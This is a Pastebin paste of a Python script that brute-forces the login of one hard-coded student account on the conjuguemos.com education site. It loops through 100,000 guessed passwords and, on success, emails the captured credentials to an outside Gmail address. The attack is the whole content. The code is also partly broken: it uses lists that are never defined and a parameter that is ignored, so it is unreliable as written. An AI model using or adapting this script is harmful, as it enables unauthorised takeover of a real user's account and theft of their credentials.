Advertisement
Guest User

Untitled

a guest
Apr 13th, 2017
1,009
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. import mechanize
  2. from mailer import mail
  3. from time import sleep
  4.  
  5. username = '117482'
  6.  
  7. def generate_passes():
  8. t = 0
  9. possible = []
  10. for a in range(10):
  11. for b in range(10):
  12. for c in range(10):
  13. for d in range(10):
  14. for e in range(10):
  15. nums.append('%s%s%s%s%s' % (a,b,c,d,e))
  16. passes.append('Tc%s%s%s%s%s!' % (a,b,c,d,e))
  17. t+=1
  18.  
  19. h = t/60/60
  20. m = (t/60 - ((t/60/60)*60))
  21. print '%s possible passwords, estimated ~%s hours and %s minutes' % (t, h, m)
  22. return passes
  23.  
  24. def attempt(uname, passwd):
  25. browser.form['identity'] = uname
  26. browser.form['password'] = password
  27. response = browser.submit()
  28. return ('https://conjuguemos.com/student' in response.geturl())
  29.  
  30. possible = generate_passes()
  31. browser = mechanize.Browser()
  32. n = 0
  33.  
  34.  
  35. while True:
  36. password = passes[n]
  37. n += 1
  38. browser.open('https://conjuguemos.com/auth/login')
  39. browser.select_form(nr = 2)
  40. browser.form['identity'] = str(username)
  41. browser.form['password'] = password
  42. response = browser.submit()
  43.  
  44. if attempt(username, password):
  45. creds = 'Username: ' + username + '\nPassword: ' + password
  46. print '[+] Success!\n' + creds
  47. mail('ausaf100@gmail.com', 'Login Success', creds)
  48. break
  49. else:
  50. print '[*] Attempt %s: Login failed with %s, trying again...' % (n, password)
  51. if n >= 30:
  52. print response.read()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement